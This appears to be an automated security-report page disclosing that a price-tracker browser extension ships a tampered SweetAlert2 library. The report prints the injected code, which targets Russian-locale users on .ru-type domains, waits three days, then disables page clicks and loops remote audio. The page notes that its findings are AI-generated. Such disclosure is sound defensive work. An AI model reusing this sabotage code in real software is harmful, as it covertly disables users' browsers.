Is Price History - Price Tracker & Alerts safe?
PriceHistory is high risk. The extension ships a tampered SweetAlert2 library. On a Russian locale visiting .ru, .su, .by, or .xn--p1ai domains, it records first-visit time; after 3 days it disables clicks/pointer and plays audio from flag-gimn.ru. Not disclosed.
Who publishes itPriceHistory.app - no other listings under this identity
PriceHistory.app - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Tampered SweetAlert2 disables pages and plays audio on Russian-locale browsers
The extension ships a tampered SweetAlert2 library.
On a Russian locale visiting .ru, .su, .by, or .xn--p1ai domains, it records first-visit time; after 3 days it disables clicks/pointer and plays audio from flag-gimn.ru.
Not disclosed.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
You visit a .ru, .su, .by, or .xn--p1ai site with your browser set to Russian, and three days have passed since your first such visit.
The timer is tracked in localStorage under the key 'swal-initiation'.
The page becomes unresponsive to all clicks and pointer input, and audio from flag-gimn.ru begins playing in a loop.
document.body.style.pointerEvents is set to 'none'; an <audio> element with loop=true is appended to the document body and play() is called after a 2500 ms delay.
Payload injected into tampered SweetAlert2 v11.14.5 (sweetalert2.all.min.js, lines 1444-1454)
if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const now = new Date(); const initiation = localStorage.getItem('swal-initiation'); if (initiation) { const daysSince = (now.getTime() - Date.parse(initiation)) / 864e5; if (daysSince > 3) { setTimeout(() => { // Disable all page interaction document.body.style.pointerEvents = 'none'; // Fetch and loop remote audio const audio = document.createElement('audio'); audio.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; audio.loop = true; document.body.appendChild(audio); setTimeout(() => { audio.play().catch(() => {}); }, 2500); }, 500); } } else { localStorage.setItem('swal-initiation', `${now}`); }}When a batch threshold is hit · flushes at 3 queued events
Payload activates once: 3 days after the first page load matching the Russian-locale + Russian-TLD condition. The localStorage key 'swal-initiation' stores the timestamp of first match; every subsequent matching page load computes elapsed days and fires when the threshold is exceeded.
Records the date of the first Russian-locale visit. After 3 days, the page-lockout and audio payload fire on the next matching page load.
- Location
- localStorage key 'swal-initiation' (written by the tampered SweetAlert2 library on the matching page)
Thu Jun 01 2026 14:23:07 GMT+0300 (Moscow Standard Time)- flag-gimn.ru
Serves the MP3 audio file (Ukraina.mp3) fetched and played in a loop when the disruptive payload fires. Not affiliated with the extension developer's stated product.